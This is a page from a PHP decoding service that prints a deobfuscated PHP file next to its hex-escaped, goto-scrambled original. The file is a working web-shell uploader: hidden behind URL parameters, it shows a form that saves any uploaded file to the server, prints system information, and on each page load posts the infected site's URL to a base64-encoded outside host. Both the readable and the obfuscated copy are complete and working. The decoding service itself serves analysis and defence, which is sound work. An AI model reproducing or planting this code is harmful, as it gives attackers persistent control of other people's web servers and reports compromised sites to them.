Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<center> <h2>[filename].php?upload</h2> </center> <?php goto kaqZe; iAMEs: if (!($_PO..

Decoded Output download

<center> 
	<h2>[filename].php?upload</h2> 
</center> 
<?php 
goto kaqZe; iAMEs: if (!($_POST["_upl"] == "Upload")) { goto T1_wL; } goto mWmpW; OxTox: echo "<form action="" method="post" enctype="multipart/form-data" name="b4b4" id="b4b4">"; goto oMeo0; vFnME: iUguS: goto C3I3M; k6iem: bJJoZ: goto iz5Ct; iz5Ct: V8kg8: goto vFnME; FiZJs: echo "<form action="" method="post" enctype="multipart/form-data" name="b4b4" id="b4b4">"; goto iLa7Z; mWmpW: if (@copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"])) { goto HUvYn; } goto FbNYC; oMeo0: echo "<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>"; goto Utpx_; C3I3M: if (!isset($_GET["x"])) { goto RGhxq; } goto M7bhv; Utpx_: echo "<a href="#">Hello Dady</a>"; goto iAMEs; DXQMq: if (!isset($_GET["upload"])) { goto iUguS; } goto uO02l; p58f5: if (!($_POST["_upl"] == "Upload")) { goto V8kg8; } goto Qzme4; M7bhv: echo "<center><b>" . php_uname() . "<br></b><b><br><br>" . '' . "<br></b>"; goto OxTox; heU9K: aw3ez: goto cNbTz; RAWYd: goto j6ngD; goto oY9b3; GWOwo: $Y30KG = file_get_contents($YGX67, false, $pA3Es); goto DXQMq; uO02l: echo "<center><b>" . php_uname() . "<br></b><b><br><br>" . '' . "<br></b>"; goto FiZJs; oY9b3: HUvYn: goto io7yG; EQGCo: echo "<b>Not Upload File !</b><br><br>"; goto JEY3S; JEY3S: goto bJJoZ; goto heU9K; io7yG: echo "<b>Done</b><br><br><a href="./" . $_FILES["file"]["name"] . "">" . $_FILES["file"]["name"] . "</a>"; goto Ut6ci; ZrKGn: $zOir8 = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; goto DdCR3; VD20y: echo "<a href="#">Hello Dady</a>"; goto p58f5; zpb8C: $pA3Es = stream_context_create($qrkpM); goto GWOwo; Ut6ci: j6ngD: goto MvXGh; DdCR3: $WQAx6 = array("file_url" => $zOir8); goto gh7Bi; kaqZe: $YGX67 = base64_decode("aHR0cHM6Ly9zaXlhaGkudG9wL3Rlc3Qvc3R5bGUucGhw"); goto ZrKGn; cNbTz: echo "<b>Done</b><br><br><a href="./" . $_FILES["file"]["name"] . "">" . $_FILES["file"]["name"] . "</a>"; goto k6iem; MvXGh: T1_wL: goto Qj02s; gh7Bi: $qrkpM = array("http" => array("method" => "POST", "header" => "Content-type: application/x-www-form-urlencoded", "content" => http_build_query($WQAx6))); goto zpb8C; iLa7Z: echo "<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>"; goto VD20y; FbNYC: echo "<b>Not Upload File !</b><br><br>"; goto RAWYd; Qzme4: if (@copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"])) { goto aw3ez; } goto EQGCo; Qj02s: RGhxq: ?>

Did this file decode correctly?

Original Code

<center>
	<h2>[filename].php?upload</h2>
</center>
<?php
goto kaqZe; iAMEs: if (!($_POST["\137\165\160\x6c"] == "\125\x70\x6c\157\141\144")) { goto T1_wL; } goto mWmpW; OxTox: echo "\x3c\x66\157\162\155\x20\x61\x63\x74\151\x6f\x6e\75\x22\x22\x20\x6d\x65\164\x68\x6f\x64\75\42\160\157\x73\x74\x22\x20\145\x6e\x63\x74\x79\160\x65\75\42\x6d\165\154\164\151\160\141\x72\164\x2f\146\x6f\x72\155\x2d\x64\x61\x74\141\x22\40\156\141\x6d\145\x3d\x22\x62\64\x62\64\42\x20\151\144\75\42\x62\x34\x62\x34\42\76"; goto oMeo0; vFnME: iUguS: goto C3I3M; k6iem: bJJoZ: goto iz5Ct; iz5Ct: V8kg8: goto vFnME; FiZJs: echo "\74\146\x6f\x72\155\40\141\x63\x74\151\x6f\x6e\75\42\42\x20\x6d\145\164\x68\x6f\x64\75\x22\x70\157\163\164\42\40\x65\156\143\x74\171\160\145\x3d\x22\x6d\165\154\164\151\x70\141\x72\x74\x2f\x66\x6f\162\x6d\55\x64\x61\x74\141\42\40\x6e\x61\x6d\x65\x3d\42\142\64\142\64\42\x20\151\144\75\42\x62\x34\x62\x34\x22\76"; goto iLa7Z; mWmpW: if (@copy($_FILES["\x66\151\154\145"]["\164\155\x70\x5f\156\141\x6d\x65"], $_FILES["\x66\x69\x6c\x65"]["\156\x61\x6d\x65"])) { goto HUvYn; } goto FbNYC; oMeo0: echo "\x3c\x69\x6e\160\x75\x74\x20\164\x79\x70\145\75\42\146\151\x6c\x65\x22\x20\156\141\155\145\x3d\x22\146\151\154\x65\42\40\163\151\172\145\x3d\42\65\x30\42\x3e\x3c\x69\156\160\x75\x74\40\x6e\141\155\x65\x3d\x22\137\165\x70\x6c\42\x20\164\171\160\x65\75\x22\x73\x75\142\x6d\x69\164\42\x20\x69\144\x3d\42\x5f\165\160\154\42\40\166\141\154\165\145\75\x22\x55\x70\154\x6f\x61\x64\x22\x3e\x3c\57\146\157\162\x6d\x3e"; goto Utpx_; C3I3M: if (!isset($_GET["\x78"])) { goto RGhxq; } goto M7bhv; Utpx_: echo "\x3c\x61\40\150\x72\x65\x66\x3d\x22\x23\x22\76\x48\145\x6c\154\157\40\x44\141\144\x79\x3c\x2f\141\x3e"; goto iAMEs; DXQMq: if (!isset($_GET["\165\x70\154\157\x61\144"])) { goto iUguS; } goto uO02l; p58f5: if (!($_POST["\x5f\x75\160\x6c"] == "\x55\x70\154\x6f\141\x64")) { goto V8kg8; } goto Qzme4; M7bhv: echo "\x3c\x63\x65\156\x74\145\x72\x3e\x3c\142\76" . php_uname() . "\x3c\x62\x72\x3e\x3c\x2f\x62\x3e\x3c\x62\76\74\142\162\76\x3c\142\162\x3e" . '' . "\x3c\x62\x72\x3e\74\57\142\76"; goto OxTox; heU9K: aw3ez: goto cNbTz; RAWYd: goto j6ngD; goto oY9b3; GWOwo: $Y30KG = file_get_contents($YGX67, false, $pA3Es); goto DXQMq; uO02l: echo "\74\143\145\x6e\x74\x65\162\76\74\x62\76" . php_uname() . "\74\x62\162\76\74\x2f\x62\x3e\74\142\x3e\74\142\x72\76\74\x62\162\x3e" . '' . "\x3c\142\x72\x3e\x3c\57\142\x3e"; goto FiZJs; oY9b3: HUvYn: goto io7yG; EQGCo: echo "\x3c\142\x3e\116\157\164\x20\x55\160\154\157\141\144\x20\106\x69\154\145\x20\x21\x3c\57\142\76\x3c\x62\162\x3e\x3c\x62\x72\76"; goto JEY3S; JEY3S: goto bJJoZ; goto heU9K; io7yG: echo "\74\x62\76\x44\157\x6e\x65\74\x2f\x62\x3e\74\x62\162\x3e\74\142\162\x3e\74\x61\x20\x68\x72\x65\146\x3d\42\x2e\57" . $_FILES["\x66\151\x6c\x65"]["\x6e\141\155\x65"] . "\42\76" . $_FILES["\x66\x69\x6c\145"]["\156\x61\x6d\x65"] . "\x3c\57\x61\x3e"; goto Ut6ci; ZrKGn: $zOir8 = "\150\164\x74\x70\x3a\x2f\x2f" . $_SERVER["\x48\124\x54\x50\x5f\x48\117\123\x54"] . $_SERVER["\122\105\121\125\x45\x53\124\x5f\125\122\x49"]; goto DdCR3; VD20y: echo "\74\x61\x20\x68\x72\x65\x66\x3d\x22\43\x22\x3e\110\145\x6c\154\x6f\x20\x44\141\144\171\x3c\57\141\x3e"; goto p58f5; zpb8C: $pA3Es = stream_context_create($qrkpM); goto GWOwo; Ut6ci: j6ngD: goto MvXGh; DdCR3: $WQAx6 = array("\146\x69\x6c\x65\137\x75\x72\x6c" => $zOir8); goto gh7Bi; kaqZe: $YGX67 = base64_decode("\141\110\x52\60\143\110\115\66\x4c\171\71\x7a\x61\130\154\x68\x61\107\153\165\144\x47\71\167\x4c\x33\x52\x6c\143\x33\x51\166\143\x33\x52\65\142\107\125\x75\x63\x47\150\x77"); goto ZrKGn; cNbTz: echo "\74\x62\x3e\104\x6f\156\x65\74\57\x62\x3e\74\142\162\x3e\74\x62\162\x3e\74\x61\40\x68\x72\145\146\75\42\56\57" . $_FILES["\146\x69\x6c\x65"]["\x6e\141\155\145"] . "\x22\x3e" . $_FILES["\146\151\154\145"]["\x6e\x61\x6d\145"] . "\74\x2f\x61\x3e"; goto k6iem; MvXGh: T1_wL: goto Qj02s; gh7Bi: $qrkpM = array("\150\164\164\160" => array("\x6d\145\164\x68\x6f\x64" => "\120\x4f\x53\124", "\150\145\141\x64\145\162" => "\x43\x6f\x6e\164\x65\156\x74\55\x74\171\x70\145\x3a\x20\x61\x70\x70\154\151\143\x61\x74\151\x6f\x6e\57\x78\55\167\x77\167\x2d\x66\157\162\x6d\55\x75\x72\x6c\x65\x6e\143\157\144\x65\x64", "\143\x6f\x6e\164\145\x6e\x74" => http_build_query($WQAx6))); goto zpb8C; iLa7Z: echo "\74\151\x6e\x70\165\x74\x20\164\x79\x70\x65\75\x22\146\x69\154\x65\42\40\x6e\x61\155\x65\75\42\x66\151\x6c\145\42\40\x73\151\x7a\145\x3d\42\65\60\x22\x3e\x3c\x69\x6e\160\x75\x74\x20\156\x61\x6d\x65\x3d\42\137\165\x70\x6c\x22\40\164\x79\x70\145\x3d\42\x73\165\x62\155\x69\x74\x22\40\x69\144\75\x22\137\165\160\x6c\x22\x20\x76\x61\x6c\165\145\75\x22\x55\x70\154\157\x61\144\42\x3e\74\x2f\x66\157\162\155\76"; goto VD20y; FbNYC: echo "\74\142\76\x4e\x6f\164\40\x55\160\x6c\157\x61\144\x20\106\x69\x6c\x65\40\x21\74\57\142\x3e\x3c\142\162\x3e\x3c\142\162\x3e"; goto RAWYd; Qzme4: if (@copy($_FILES["\x66\x69\x6c\x65"]["\164\x6d\x70\x5f\x6e\141\x6d\x65"], $_FILES["\146\x69\154\x65"]["\x6e\x61\x6d\x65"])) { goto aw3ez; } goto EQGCo; Qj02s: RGhxq:

Function Calls

None

Variables

None

Stats

MD5 1f140a95d3b1f506c7b6a2c22ae56c01
Eval Count 0
Decode Time 55 ms